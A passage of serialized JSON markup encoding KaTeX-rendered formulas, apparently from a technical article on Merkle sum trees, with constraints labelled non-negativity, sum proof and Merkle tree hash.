20},{"type":23,"tag":504,"props":1294,"children":1296},{"className":1295,"style":624},[529],[1297],{"type":29,"value":627},{"type":23,"tag":504,"props":1299,"children":1301},{"className":1300},[529,530],[1302],{"type":29,"value":633},{"type":23,"tag":504,"props":1304,"children":1306},{"className":1305,"style":637},[529,530],[1307],{"type":29,"value":640},{"type":23,"tag":504,"props":1309,"children":1311},{"className":1310},[529,530],[1312],{"type":29,"value":646},{"type":23,"tag":504,"props":1314,"children":1316},{"className":1315},[529,530],[1317],{"type":29,"value":652},{"type":23,"tag":504,"props":1319,"children":1321},{"className":1320},[529],[1322,1327],{"type":23,"tag":504,"props":1323,"children":1325},{"className":1324},[529,530],[1326],{"type":29,"value":662},{"type":23,"tag":504,"props":1328,"children":1330},{"className":1329},[666],[1331],{"type":23,"tag":504,"props":1332,"children":1334},{"className":1333},[671,672],[1335,1364],{"type":23,"tag":504,"props":1336,"children":1338},{"className":1337},[677],[1339,1359],{"type":23,"tag":504,"props":1340,"children":1342},{"className":1341,"style":1180},[682],[1343],{"type":23,"tag":504,"props":1344,"children":1345},{"style":687},[1346,1350],{"type":23,"tag":504,"props":1347,"children":1349},{"className":1348,"style":693},[692],[],{"type":23,"tag":504,"props":1351,"children":1353},{"className":1352},[698,699,700,701],[1354],{"type":23,"tag":504,"props":1355,"children":1357},{"className":1356},[529,530,701],[1358],{"type":29,"value":578},{"type":23,"tag":504,"props":1360,"children":1362},{"className":1361},[712],[1363],{"type":29,"value":715},{"type":23,"tag":504,"props":1365,"children":1367},{"className":1366},[677],[1368],{"type":23,"tag":504,"props":1369,"children":1371},{"className":1370,"style":723},[682],[1372],{"type":23,"tag":504,"props":1373,"children":1374},{},[],{"type":23,"tag":504,"props":1376,"children":1378},{"className":1377},[600],[1379],{"type":29,"value":1380},"[",{"type":23,"tag":504,"props":1382,"children":1384},{"className":1383},[529,530],[1385],{"type":29,"value":68},{"type":23,"tag":504,"props":1387,"children":1389},{"className":1388},[529,530],[1390],{"type":29,"value":614},{"type":23,"tag":504,"props":1392,"children":1394},{"className":1393},[529,530],[1395],{"type":29,"value":620},{"type":23,"tag":504,"props":1397,"children":1399},{"className":1398,"style":624},[529],[1400],{"type":29,"value":627},{"type":23,"tag":504,"props":1402,"children":1404},{"className":1403},[529,530],[1405],{"type":29,"value":596},{"type":23,"tag":504,"props":1407,"children":1409},{"className":1408},[529,530],[1410],{"type":29,"value":905},{"type":23,"tag":504,"props":1412,"children":1414},{"className":1413},[529,530],[1415],{"type":29,"value":1416},"m",{"type":23,"tag":504,"props":1418,"children":1420},{"className":1419},[930],[1421],{"type":29,"value":1422},"]",{"type":23,"tag":504,"props":1424,"children":1427},{"className":1425,"style":1426},[537],"margin-right:0.2222em;",[],{"type":23,"tag":504,"props":1429,"children":1432},{"className":1430},[1431],"mbin",[1433],{"type":29,"value":1434},"∗",{"type":23,"tag":504,"props":1436,"children":1438},{"className":1437,"style":1426},[537],[],{"type":23,"tag":504,"props":1440,"children":1442},{"className":1441},[518],[1443,1447,1452,1457,1462,1467,1472,1478,1483,1489,1494,1499,1504,1509,1514,1519,1524,1529],{"type":23,"tag":504,"props":1444,"children":1446},{"className":1445,"style":558},[523],[],{"type":23,"tag":504,"props":1448,"children":1450},{"className":1449},[529,530],[1451],{"type":29,"value":68},{"type":23,"tag":504,"props":1453,"children":1455},{"className":1454},[529,530],[1456],{"type":29,"value":614},{"type":23,"tag":504,"props":1458,"children":1460},{"className":1459},[529,530],[1461],{"type":29,"value":620},{"type":23,"tag":504,"props":1463,"children":1465},{"className":1464,"style":624},[529],[1466],{"type":29,"value":627},{"type":23,"tag":504,"props":1468,"children":1470},{"className":1469},[529,530],[1471],{"type":29,"value":32},{"type":23,"tag":504,"props":1473,"children":1475},{"className":1474,"style":624},[529,530],[1476],{"type":29,"value":1477},"r",{"type":23,"tag":504,"props":1479,"children":1481},{"className":1480},[529,530],[1482],{"type":29,"value":578},{"type":23,"tag":504,"props":1484,"children":1486},{"className":1485},[529,530],[1487],{"type":29,"value":1488},"ces",{"type":23,"tag":504,"props":1490,"children":1492},{"className":1491},[600],[1493],{"type":29,"value":1380},{"type":23,"tag":504,"props":1495,"children":1497},{"className":1496},[529,530],[1498],{"type":29,"value":68},{"type":23,"tag":504,"props":1500,"children":1502},{"className":1501},[529,530],[1503],{"type":29,"value":614},{"type":23,"tag":504,"props":1505,"children":1507},{"className":1506},[529,530],[1508],{"type":29,"value":620},{"type":23,"tag":504,"props":1510,"children":1512},{"className":1511,"style":624},[529],[1513],{"type":29,"value":627},{"type":23,"tag":504,"props":1515,"children":1517},{"className":1516},[529,530],[1518],{"type":29,"value":596},{"type":23,"tag":504,"props":1520,"children":1522},{"className":1521},[529,530],[1523],{"type":29,"value":905},{"type":23,"tag":504,"props":1525,"children":1527},{"className":1526},[529,530],[1528],{"type":29,"value":1416},{"type":23,"tag":504,"props":1530,"children":1532},{"className":1531},[930],[1533],{"type":29,"value":1422},{"type":23,"tag":143,"props":1535,"children":1536},{},[1537,1697,1699],{"type":23,"tag":154,"props":1538,"children":1540},{"className":1539},[500,501],[1541],{"type":23,"tag":504,"props":1542,"children":1544},{"className":1543},[507],[1545],{"type":23,"tag":504,"props":1546,"children":1548},{"className":1547,"ariaHidden":513},[512],[1549,1683],{"type":23,"tag":504,"props":1550,"children":1552},{"className":1551},[518],[1553,1557,1562,1567,1572,1577,1582,1587,1592,1597,1602,1607,1612,1669,1673,1679],{"type":23,"tag":504,"props":1554,"children":1556},{"className":1555,"style":1094},[523],[],{"type":23,"tag":504,"props":1558,"children":1560},{"className":1559},[529,530],[1561],{"type":29,"value":68},{"type":23,"tag":504,"props":1563,"children":1565},{"className":1564},[529,530],[1566],{"type":29,"value":1106},{"type":23,"tag":504,"props":1568,"children":1570},{"className":1569},[529,530],[1571],{"type":29,"value":905},{"type":23,"tag":504,"props":1573,"children":1575},{"className":1574},[529,530],[1576],{"type":29,"value":596},{"type":23,"tag":504,"props":1578,"children":1580},{"className":1579},[529,530],[1581],{"type":29,"value":620},{"type":23,"tag":504,"props":1583,"children":1585},{"className":1584,"style":624},[529],[1586],{"type":29,"value":627},{"type":23,"tag":504,"props":1588,"children":1590},{"className":1589},[529,530],[1591],{"type":29,"value":1132},{"type":23,"tag":504,"props":1593,"children":1595},{"className":1594,"style":1136},[529,530],[1596],{"type":29,"value":1139},{"type":23,"tag":504,"props":1598,"children":1600},{"className":1599},[529,530],[1601],{"type":29,"value":905},{"type":23,"tag":504,"props":1603,"children":1605},{"className":1604},[529,530],[1606],{"type":29,"value":578},{"type":23,"tag":504,"props":1608,"children":1610},{"className":1609},[529,530],[1611],{"type":29,"value":620},{"type":23,"tag":504,"props":1613,"children":1615},{"className":1614},[529],[1616,1621],{"type":23,"tag":504,"props":1617,"children":1619},{"className":1618,"style":1136},[529,530],[1620],{"type":29,"value":1164},{"type":23,"tag":504,"props":1622,"children":1624},{"className":1623},[666],[1625],{"type":23,"tag":504,"props":1626,"children":1628},{"className":1627},[671,672],[1629,1658],{"type":23,"tag":504,"props":1630,"children":1632},{"className":1631},[677],[1633,1653],{"type":23,"tag":504,"props":1634,"children":1636},{"className":1635,"style":1180},[682],[1637],{"type":23,"tag":504,"props":1638,"children":1639},{"style":1184},[1640,1644],{"type":23,"tag":504,"props":1641,"children":1643},{"className":1642,"style":693},[692],[],{"type":23,"tag":504,"props":1645,"children":1647},{"className":1646},[698,699,700,701],[1648],{"type":23,"tag":504,"props":1649,"children":1651},{"className":1650},[529,530,701],[1652],{"type":29,"value":578},{"type":23,"tag":504,"props":1654,"children":1656},{"className":1655},[712],[1657],{"type":29,"value":715},{"type":23,"tag":504,"props":1659,"children":1661},{"className":1660},[677],[1662],{"type":23,"tag":504,"props":1663,"children":1665},{"className":1664,"style":723},[682],[1666],{"type":23,"tag":504,"props":1667,"children":1668},{},[],{"type":23,"tag":504,"props":1670,"children":1672},{"className":1671,"style":538},[537],[],{"type":23,"tag":504,"props":1674,"children":1676},{"className":1675},[543],[1677],{"type":29,"value":1678},">=",{"type":23,"tag":504,"props":1680,"children":1682},{"className":1681,"style":538},[537],[],{"type":23,"tag":504,"props":1684,"children":1686},{"className":1685},[518],[1687,1692],{"type":23,"tag":504,"props":1688,"children":1691},{"className":1689,"style":1690},[523],"height:0.6444em;",[],{"type":23,"tag":504,"props":1693,"children":1695},{"className":1694},[529],[1696],{"type":29,"value":708},{"type":29,"value":1698}," ",{"type":23,"tag":38,"props":1700,"children":1701},{},[1702],{"type":29,"value":1703},"(non-negativity)",{"type":23,"tag":143,"props":1705,"children":1706},{},[1707,2045,2046],{"type":23,"tag":154,"props":1708,"children":1710},{"className":1709},[500,501],[1711],{"type":23,"tag":504,"props":1712,"children":1714},{"className":1713},[507],[1715],{"type":23,"tag":504,"props":1716,"children":1718},{"className":1717,"ariaHidden":513},[512],[1719,1855],{"type":23,"tag":504,"props":1720,"children":1722},{"className":1721},[518],[1723,1727,1732,1737,1742,1747,1752,1757,1762,1767,1772,1777,1782,1787,1792,1797,1802,1807,1812,1817,1822,1827,1832,1837,1842,1846,1851],{"type":23,"tag":504,"props":1724,"children":1726},{"className":1725,"style":558},[523],[],{"type":23,"tag":504,"props":1728,"children":1730},{"className":1729},[529,530],[1731],{"type":29,"value":620},{"type":23,"tag":504,"props":1733,"children":1735},{"className":1734},[529,530],[1736],{"type":29,"value":590},{"type":23,"tag":504,"props":1738,"children":1740},{"className":1739},[529,530],[1741],{"type":29,"value":620},{"type":23,"tag":504,"props":1743,"children":1745},{"className":1744},[529,530],[1746],{"type":29,"value":68},{"type":23,"tag":504,"props":1748,"children":1750},{"className":1749,"style":637},[529,530],[1751],{"type":29,"value":640},{"type":23,"tag":504,"props":1753,"children":1755},{"className":1754,"style":624},[529],[1756],{"type":29,"value":627},{"type":23,"tag":504,"props":1758,"children":1760},{"className":1759},[529,530],[1761],{"type":29,"value":68},{"type":23,"tag":504,"props":1763,"children":1765},{"className":1764},[529,530],[1766],{"type":29,"value":614},{"type":23,"tag":504,"props":1768,"children":1770},{"className":1769},[529,530],[1771],{"type":29,"value":620},{"type":23,"tag":504,"props":1773,"children":1775},{"className":1774,"style":624},[529],[1776],{"type":29,"value":627},{"type":23,"tag":504,"props":1778,"children":1780},{"className":1779},[529,530],[1781],{"type":29,"value":633},{"type":23,"tag":504,"props":1783,"children":1785},{"className":1784,"style":637},[529,530],[1786],{"type":29,"value":640},{"type":23,"tag":504,"props":1788,"children":1790},{"className":1789},[529,530],[1791],{"type":29,"value":646},{"type":23,"tag":504,"props":1793,"children":1795},{"className":1794},[529,530],[1796],{"type":29,"value":652},{"type":23,"tag":504,"props":1798,"children":1800},{"className":1799},[600],[1801],{"type":29,"value":1380},{"type":23,"tag":504,"props":1803,"children":1805},{"className":1804},[529,530],[1806],{"type":29,"value":68},{"type":23,"tag":504,"props":1808,"children":1810},{"className":1809},[529,530],[1811],{"type":29,"value":614},{"type":23,"tag":504,"props":1813,"children":1815},{"className":1814},[529,530],[1816],{"type":29,"value":620},{"type":23,"tag":504,"props":1818,"children":1820},{"className":1819,"style":624},[529],[1821],{"type":29,"value":627},{"type":23,"tag":504,"props":1823,"children":1825},{"className":1824},[529,530],[1826],{"type":29,"value":596},{"type":23,"tag":504,"props":1828,"children":1830},{"className":1829},[529,530],[1831],{"type":29,"value":905},{"type":23,"tag":504,"props":1833,"children":1835},{"className":1834},[529,530],[1836],{"type":29,"value":1416},{"type":23,"tag":504,"props":1838,"children":1840},{"className":1839},[930],[1841],{"type":29,"value":1422},{"type":23,"tag":504,"props":1843,"children":1845},{"className":1844,"style":538},[537],[],{"type":23,"tag":504,"props":1847,"children":1849},{"className":1848},[543],[1850],{"type":29,"value":1224},{"type":23,"tag":504,"props":1852,"children":1854},{"className":1853,"style":538},[537],[],{"type":23,"tag":504,"props":1856,"children":1858},{"className":1857},[518],[1859,1863,1868,1873,1878,1883,1888,1893,1898,1903,1908,1913,1918,1923,1928,1933,1938,1943,2000,2005,2010,2015,2020,2025,2030,2035,2040],{"type":23,"tag":504,"props":1860,"children":1862},{"className":1861,"style":558},[523],[],{"type":23,"tag":504,"props":1864,"children":1866},{"className":1865},[529],[1867],{"type":29,"value":1242},{"type":23,"tag":504,"props":1869,"children":1871},{"className":1870},[537],[1872],{"type":29,"value":733},{"type":23,"tag":504,"props":1874,"children":1876},{"className":1875},[529,530],[1877],{"type":29,"value":68},{"type":23,"tag":504,"props":1879,"children":1881},{"className":1880},[529,530],[1882],{"type":29,"value":1106},{"type":23,"tag":504,"props":1884,"children":1886},{"className":1885},[529,530],[1887],{"type":29,"value":905},{"type":23,"tag":504,"props":1889,"children":1891},{"className":1890},[529,530],[1892],{"type":29,"value":596},{"type":23,"tag":504,"props":1894,"children":1896},{"className":1895},[529,530],[1897],{"type":29,"value":620},{"type":23,"tag":504,"props":1899,"children":1901},{"className":1900,"style":624},[529],[1902],{"type":29,"value":627},{"type":23,"tag":504,"props":1904,"children":1906},{"className":1905},[529,530],[1907],{"type":29,"value":68},{"type":23,"tag":504,"props":1909,"children":1911},{"className":1910},[529,530],[1912],{"type":29,"value":614},{"type":23,"tag":504,"props":1914,"children":1916},{"className":1915},[529,530],[1917],{"type":29,"value":620},{"type":23,"tag":504,"props":1919,"children":1921},{"className":1920,"style":624},[529],[1922],{"type":29,"value":627},{"type":23,"tag":504,"props":1924,"children":1926},{"className":1925},[529,530],[1927],{"type":29,"value":633},{"type":23,"tag":504,"props":1929,"children":1931},{"className":1930,"style":637},[529,530],[1932],{"type":29,"value":640},{"type":23,"tag":504,"props":1934,"children":1936},{"className":1935},[529,530],[1937],{"type":29,"value":646},{"type":23,"tag":504,"props":1939,"children":1941},{"className":1940},[529,530],[1942],{"type":29,"value":652},{"type":23,"tag":504,"props":1944,"children":1946},{"className":1945},[529],[1947,1952],{"type":23,"tag":504,"props":1948,"children":1950},{"className":1949},[529,530],[1951],{"type":29,"value":662},{"type":23,"tag":504,"props":1953,"children":1955},{"className":1954},[666],[1956],{"type":23,"tag":504,"props":1957,"children":1959},{"className":1958},[671,672],[1960,1989],{"type":23,"tag":504,"props":1961,"children":1963},{"className":1962},[677],[1964,1984],{"type":23,"tag":504,"props":1965,"children":1967},{"className":1966,"style":1180},[682],[1968],{"type":23,"tag":504,"props":1969,"children":1970},{"style":687},[1971,1975],{"type":23,"tag":504,"props":1972,"children":1974},{"className":1973,"style":693},[692],[],{"type":23,"tag":504,"props":1976,"children":1978},{"className":1977},[698,699,700,701],[1979],{"type":23,"tag":504,"props":1980,"children":1982},{"className":1981},[529,530,701],[1983],{"type":29,"value":578},{"type":23,"tag":504,"props":1985,"children":1987},{"className":1986},[712],[1988],{"type":29,"value":715},{"type":23,"tag":504,"props":1990,"children":1992},{"className":1991},[677],[1993],{"type":23,"tag":504,"props":1994,"children":1996},{"className":1995,"style":723},[682],[1997],{"type":23,"tag":504,"props":1998,"children":1999},{},[],{"type":23,"tag":504,"props":2001,"children":2003},{"className":2002},[600],[2004],{"type":29,"value":1380},{"type":23,"tag":504,"props":2006,"children":2008},{"className":2007},[529,530],[2009],{"type":29,"value":68},{"type":23,"tag":504,"props":2011,"children":2013},{"className":2012},[529,530],[2014],{"type":29,"value":614},{"type":23,"tag":504,"props":2016,"children":2018},{"className":2017},[529,530],[2019],{"type":29,"value":620},{"type":23,"tag":504,"props":2021,"children":2023},{"className":2022,"style":624},[529],[2024],{"type":29,"value":627},{"type":23,"tag":504,"props":2026,"children":2028},{"className":2027},[529,530],[2029],{"type":29,"value":596},{"type":23,"tag":504,"props":2031,"children":2033},{"className":2032},[529,530],[2034],{"type":29,"value":905},{"type":23,"tag":504,"props":2036,"children":2038},{"className":2037},[529,530],[2039],{"type":29,"value":1416},{"type":23,"tag":504,"props":2041,"children":2043},{"className":2042},[930],[2044],{"type":29,"value":1422},{"type":29,"value":1698},{"type":23,"tag":38,"props":2047,"children":2048},{},[2049],{"type":29,"value":2050},"(sum proof)",{"type":23,"tag":143,"props":2052,"children":2053},{},[2054,2448,2449],{"type":23,"tag":154,"props":2055,"children":2057},{"className":2056},[500,501],[2058],{"type":23,"tag":504,"props":2059,"children":2061},{"className":2060},[507],[2062],{"type":23,"tag":504,"props":2063,"children":2065},{"className":2064,"ariaHidden":513},[512],[2066,2153],{"type":23,"tag":504,"props":2067,"children":2069},{"className":2068},[518],[2070,2075,2080,2086,2093,2098,2103,2108,2113,2119,2124,2130,2135,2140,2144,2149],{"type":23,"tag":504,"props":2071,"children":2074},{"className":2072,"style":2073},[523],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":504,"props":2076,"children":2078},{"className":2077},[529,530],[2079],{"type":29,"value":1416},{"type":23,"tag":504,"props":2081,"children":2083},{"className":2082,"style":624},[529,530],[2084],{"type":29,"value":2085},"er",{"type":23,"tag":504,"props":2087,"children":2090},{"className":2088,"style":2089},[529,530],"margin-right:0.03148em;",[2091],{"type":29,"value":2092},"k",{"type":23,"tag":504,"props":2094,"children":2096},{"className":2095,"style":637},[529,530],[2097],{"type":29,"value":640},{"type":23,"tag":504,"props":2099,"children":2101},{"className":2100},[529,530],[2102],{"type":29,"value":1132},{"type":23,"tag":504,"props":2104,"children":2106},{"className":2105,"style":624},[529],[2107],{"type":29,"value":627},{"type":23,"tag":504,"props":2109,"children":2111},{"className":2110},[529,530],[2112],{"type":29,"value":620},{"type":23,"tag":504,"props":2114,"children":2116},{"className":2115},[529,530],[2117],{"type":29,"value":2118},"ree",{"type":23,"tag":504,"props":2120,"children":2122},{"className":2121,"style":624},[529],[2123],{"type":29,"value":627},{"type":23,"tag":504,"props":2125,"children":2127},{"className":2126},[529,530],[2128],{"type":29,"value":2129},"ha",{"type":23,"tag":504,"props":2131,"children":2133},{"className":2132},[529,530],[2134],{"type":29,"value":662},{"type":23,"tag":504,"props":2136,"children":2138},{"className":2137},[529,530],[2139],{"type":29,"value":533},{"type":23,"tag":504,"props":2141,"children":2143},{"className":2142,"style":538},[537],[],{"type":23,"tag":504,"props":2145,"children":2147},{"className":2146},[543],[2148],{"type":29,"value":1224},{"type":23,"tag":504,"props":2150,"children":2152},{"className":2151,"style":538},[537],[],{"type":23,"tag":504,"props":2154,"children":2156},{"className":2155},[518],[2157,2162,2167,2172,2177,2182,2187,2192,2197,2202,2207,2264,2271,2276,2281,2286,2343,2348,2353,2357,2362,2367,2371,2376,2381,2443],{"type":23,"tag":504,"props":2158,"children":2161},{"className":2159,"style":2160},[523],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":2163,"children":2165},{"className":2164,"style":563},[529,530],[2166],{"type":29,"value":566},{"type":23,"tag":504,"props":2168,"children":2170},{"className":2169},[529,530],[2171],{"type":29,"value":572},{"type":23,"tag":504,"props":2173,"children":2175},{"className":2174},[529,530],[2176],{"type":29,"value":578},{"type":23,"tag":504,"props":2178,"children":2180},{"className":2179},[529,530],[2181],{"type":29,"value":584},{"type":23,"tag":504,"props":2183,"children":2185},{"className":2184},[529,530],[2186],{"type":29,"value":590},{"type":23,"tag":504,"props":2188,"children":2190},{"className":2189},[529,530],[2191],{"type":29,"value":596},{"type":23,"tag":504,"props":2193,"children":2195},{"className":2194},[600],[2196],{"type":29,"value":603},{"type":23,"tag":504,"props":2198,"children":2200},{"className":2199},[529,530],[2201],{"type":29,"value":2129},{"type":23,"tag":504,"props":2203,"children":2205},{"className":2204},[529,530],[2206],{"type":29,"value":662},{"type":23,"tag":504,"props":2208,"children":2210},{"className":2209},[529],[2211,2216],{"type":23,"tag":504,"props":2212,"children":2214},{"className":2213},[529,530],[2215],{"type":29,"value":533},{"type":23,"tag":504,"props":2217,"children":2219},{"className":2218},[666],[2220],{"type":23,"tag":504,"props":2221,"children":2223},{"className":2222},[671,672],[2224,2253],{"type":23,"tag":504,"props":2225,"children":2227},{"className":2226},[677],[2228,2248],{"type":23,"tag":504,"props":2229,"children":2231},{"className":2230,"style":683},[682],[2232],{"type":23,"tag":504,"props":2233,"children":2234},{"style":687},[2235,2239],{"type":23,"tag":504,"props":2236,"children":2238},{"className":2237,"style":693},[692],[],{"type":23,"tag":504,"props":2240,"children":2242},{"className":2241},[698,699,700,701],[2243],{"type":23,"tag":504,"props":2244,"children":2246},{"className":2245},[529,701],[2247],{"type":29,"value":708},{"type":23,"tag":504,"props":2249,"children":2251},{"className":2250},[712],[2252],{"type":29,"value":715},{"type":23,"tag":504,"props":2254,"children":2256},{"className":2255},[677],[2257],{"type":23,"tag":504,"props":2258,"children":2260},{"className":2259,"style":723},[682],[2261],{"type":23,"tag":504,"props":2262,"children":2263},{},[],{"type":23,"tag":504,"props":2265,"children":2268},{"className":2266},[2267],"mpunct",[2269],{"type":29,"value":2270},",",{"type":23,"tag":504,"props":2272,"children":2275},{"className":2273,"style":2274},[537],"margin-right:0.1667em;",[],{"type":23,"tag":504,"props":2277,"children":2279},{"className":2278},[529,530],[2280],{"type":29,"value":2129},{"type":23,"tag":504,"props":2282,"children":2284},{"className":2283},[529,530],[2285],{"type":29,"value":662},{"type":23,"tag":504,"props":2287,"children":2289},{"className":2288},[529],[2290,2295],{"type":23,"tag":504,"props":2291,"children":2293},{"className":2292},[529,530],[2294],{"type":29,"value":533},{"type":23,"tag":504,"props":2296,"children":2298},{"className":2297},[666],[2299],{"type":23,"tag":504,"props":2300,"children":2302},{"className":2301},[671,672],[2303,2332],{"type":23,"tag":504,"props":2304,"children":2306},{"className":2305},[677],[2307,2327],{"type":23,"tag":504,"props":2308,"children":2310},{"className":2309,"style":683},[682],[2311],{"type":23,"tag":504,"props":2312,"children":2313},{"style":687},[2314,2318],{"type":23,"tag":504,"props":2315,"children":2317},{"className":2316,"style":693},[692],[],{"type":23,"tag":504,"props":2319,"children":2321},{"className":2320},[698,699,700,701],[2322],{"type":23,"tag":504,"props":2323,"children":2325},{"className":2324},[529,701],[2326],{"type":29,"value":826},{"type":23,"tag":504,"props":2328,"children":2330},{"className":2329},[712],[2331],{"type":29,"value":715},{"type":23,"tag":504,"props":2333,"children":2335},{"className":2334},[677],[2336],{"type":23,"tag":504,"props":2337,"children":2339},{"className":2338,"style":723},[682],[2340],{"type":23,"tag":504,"props":2341,"children":2342},{},[],{"type":23,"tag":504,"props":2344,"children":2346},{"className":2345},[2267],[2347],{"type":29,"value":2270},{"type":23,"tag":504,"props":2349,"children":2351},{"className":2350},[537],[2352],{"type":29,"value":733},{"type":23,"tag":504,"props":2354,"children":2356},{"className":2355,"style":2274},[537],[],{"type":23,"tag":504,"props":2358,"children":2360},{"className":2359},[529],[2361],{"type":29,"value":853},{"type":23,"tag":504,"props":2363,"children":2365},{"className":2364},[2267],[2366],{"type":29,"value":2270},{"type":23,"tag":504,"props":2368,"children":2370},{"className":2369,"style":2274},[537],[],{"type":23,"tag":504,"props":2372,"children":2374},{"className":2373},[529,530],[2375],{"type":29,"value":2129},{"type":23,"tag":504,"props":2377,"children":2379},{"className":2378},[529,530],[2380],{"type":29,"value":662},{"type":23,"tag":504,"props":2382,"children":2384},{"className":2383},[529],[2385,2390],{"type":23,"tag":504,"props":2386,"children":2388},{"className":2387},[529,530],[2389],{"type":29,"value":533},{"type":23,"tag":504,"props":2391,"children":2393},{"className":2392},[666],[2394],{"type":23,"tag":504,"props":2395,"children":2397},{"className":2396},[671,672],[2398,2432],{"type":23,"tag":504,"props":2399,"children":2401},{"className":2400},[677],[2402,2427],{"type":23,"tag":504,"props":2403,"children":2405},{"className":2404,"style":683},[682],[2406],{"type":23,"tag":504,"props":2407,"children":2408},{"style":687},[2409,2413],{"type":23,"tag":504,"props":2410,"children":2412},{"className":2411,"style":693},[692],[],{"type":23,"tag":504,"props":2414,"children":2416},{"className":2415},[698,699,700,701],[2417],{"type":23,"tag":504,"props":2418,"children":2420},{"className":2419},[529,701],[2421],{"type":23,"tag":504,"props":2422,"children":2424},{"className":2423},[529,701],[2425],{"type":29,"value":2426},"511",{"type":23,"tag":504,"props":2428,"children":2430},{"className":2429},[712],[2431],{"type":29,"value":715},{"type":23,"tag":504,"props":2433,"children":2435},{"className":2434},[677],[2436],{"type":23,"tag":504,"props":2437,"children":2439},{"className":2438,"style":723},[682],[2440],{"type":23,"tag":504,"props":2441,"children":2442},{},[],{"type":23,"tag":504,"props":2444,"children":2446},{"className":2445},[930],[2447],{"type":29,"value":933},{"type":29,"value":1698},{"type":23,"tag":38,"props":2450,"children":2451},{},[2452],{"type":29,"value":2453},"(merkle tree hash)",{"type":23,"tag":143,"props":2455,"children":2456},{},[2457,2734,2735,2740,2742,2747],{"type":23,"tag":154,"props":2458,"children":2460},{"className":2459},[500,501],[2461],{"type":23,"tag":504,"props":2462,"children":2464},{"className":2463},[507],[2465],{"type":23,"tag":504,"props":2466,"children":2468},{"className":2467,"ariaHidden":513},[512],[2469,2663],{"type":23,"tag":504,"props":2470,"children":2472},{"className":2471},[518],[2473,2477,2482,2487,2492,2497,2502,2507,2512,2517,2522,2527,2532,2537,2542,2547,2604,2609,2614,2619,2624,2629,2634,2639,2644,2649,2653,2659],{"type":23,"tag":504,"props":2474,"children":2476},{"className":2475,"style":558},[523],[],{"type":23,"tag":504,"props":2478,"children":2480},{"className":2479},[529,530],[2481],{"type":29,"value":68},{"type":23,"tag":504,"props":2483,"children":2485},{"className":2484},[529,530],[2486],{"type":29,"value":1106},{"type":23,"tag":504,"props":2488,"children":2490},{"className":2489},[529,530],[2491],{"type":29,"value":905},{"type":23,"tag":504,"props":2493,"children":2495},{"className":2494},[529,530],[2496],{"type":29,"value":596},{"type":23,"tag":504,"props":2498,"children":2500},{"className":2499},[529,530],[2501],{"type":29,"value":620},{"type":23,"tag":504,"props":2503,"children":2505},{"className":2504,"style":624},[529],[2506],{"type":29,"value":627},{"type":23,"tag":504,"props":2508,"children":2510},{"className":2509},[529,530],[2511],{"type":29,"value":68},{"type":23,"tag":504,"props":2513,"children":2515},{"className":2514},[529,530],[2516],{"type":29,"value":614},{"type":23,"tag":504,"props":2518,"children":2520},{"className":2519},[529,530],[2521],{"type":29,"value":620},{"type":23,"tag":504,"props":2523,"children":2525},{"className":2524,"style":624},[529],[2526],{"type":29,"value":627},{"type":23,"tag":504,"props":2528,"children":2530},{"className":2529},[529,530],[2531],{"type":29,"value":633},{"type":23,"tag":504,"props":2533,"children":2535},{"className":2534,"style":637},[529,530],[2536],{"type":29,"value":640},{"type":23,"tag":504,"props":2538,"children":2540},{"className":2539},[529,530],[2541],{"type":29,"value":646},{"type":23,"tag":504,"props":2543,"children":2545},{"className":2544},[529,530],[2546],{"type":29,"value":652},{"type":23,"tag":504,"props":2548,"children":2550},{"className":2549},[529],[2551,2556],{"type":23,"tag":504,"props":2552,"children":2554},{"className":2553},[529,530],[2555],{"type":29,"value":662},{"type":23,"tag":504,"props":2557,"children":2559},{"className":2558},[666],[2560],{"type":23,"tag":504,"props":2561,"children":2563},{"className":2562},[671,672],[2564,2593],{"type":23,"tag":504,"props":2565,"children":2567},{"className":2566},[677],[2568,2588],{"type":23,"tag":504,"props":2569,"children":2571},{"className":2570,"style":1180},[682],[2572],{"type":23,"tag":504,"props":2573,"children":2574},{"style":687},[2575,2579],{"type":23,"tag":504,"props":2576,"children":2578},{"className":2577,"style":693},[692],[],{"type":23,"tag":504,"props":2580,"children":2582},{"className":2581},[698,699,700,701],[2583],{"type":23,"tag":504,"props":2584,"children":2586},{"className":2585},[529,530,701],[2587],{"type":29,"value":578},{"type":23,"tag":504,"props":2589,"children":2591},{"className":2590},[712],[2592],{"type":29,"value":715},{"type":23,"tag":504,"props":2594,"children":2596},{"className":2595},[677],[2597],{"type":23,"tag":504,"props":2598,"children":2600},{"className":2599,"style":723},[682],[2601],{"type":23,"tag":504,"props":2602,"children":2603},{},[],{"type":23,"tag":504,"props":2605,"children":2607},{"className":2606},[600],[2608],{"type":29,"value":1380},{"type":23,"tag":504,"props":2610,"children":2612},{"className":2611},[529,530],[2613],{"type":29,"value":68},{"type":23,"tag":504,"props":2615,"children":2617},{"className":2616},[529,530],[2618],{"type":29,"value":614},{"type":23,"tag":504,"props":2620,"children":2622},{"className":2621},[529,530],[2623],{"type":29,"value":620},{"type":23,"tag":504,"props":2625,"children":2627},{"className":2626,"style":624},[529],[2628],{"type":29,"value":627},{"type":23,"tag":504,"props":2630,"children":2632},{"className":2631},[529,530],[2633],{"type":29,"value":596},{"type":23,"tag":504,"props":2635,"children":2637},{"className":2636},[529,530],[2638],{"type":29,"value":905},{"type":23,"tag":504,"props":2640,"children":2642},{"className":2641},[529,530],[2643],{"type":29,"value":1416},{"type":23,"tag":504,"props":2645,"children":2647},{"className":2646},[930],[2648],{"type":29,"value":1422},{"type":23,"tag":504,"props":2650,"children":2652},{"className":2651,"style":538},[537],[],{"type":23,"tag":504,"props":2654,"children":2656},{"className":2655},[543],[2657],{"type":29,"value":2658},"\u003C",{"type":23,"tag":504,"props":2660,"children":2662},{"className":2661,"style":538},[537],[],{"type":23,"tag":504,"props":2664,"children":2666},{"className":2665},[518],[2667,2671,2678,2683,2690,2695,2700,2705,2711,2716,2722,2728],{"type":23,"tag":504,"props":2668,"children":2670},{"className":2669,"style":558},[523],[],{"type":23,"tag":504,"props":2672,"children":2675},{"className":2673,"style":2674},[529,530],"margin-right:0.10903em;",[2676],{"type":29,"value":2677},"M",{"type":23,"tag":504,"props":2679,"children":2681},{"className":2680},[529,530],[2682],{"type":29,"value":888},{"type":23,"tag":504,"props":2684,"children":2687},{"className":2685,"style":2686},[529,530],"margin-right:0.07847em;",[2688],{"type":29,"value":2689},"X",{"type":23,"tag":504,"props":2691,"children":2693},{"className":2692,"style":624},[529],[2694],{"type":29,"value":627},{"type":23,"tag":504,"props":2696,"children":2698},{"className":2697,"style":872},[529,530],[2699],{"type":29,"value":875},{"type":23,"tag":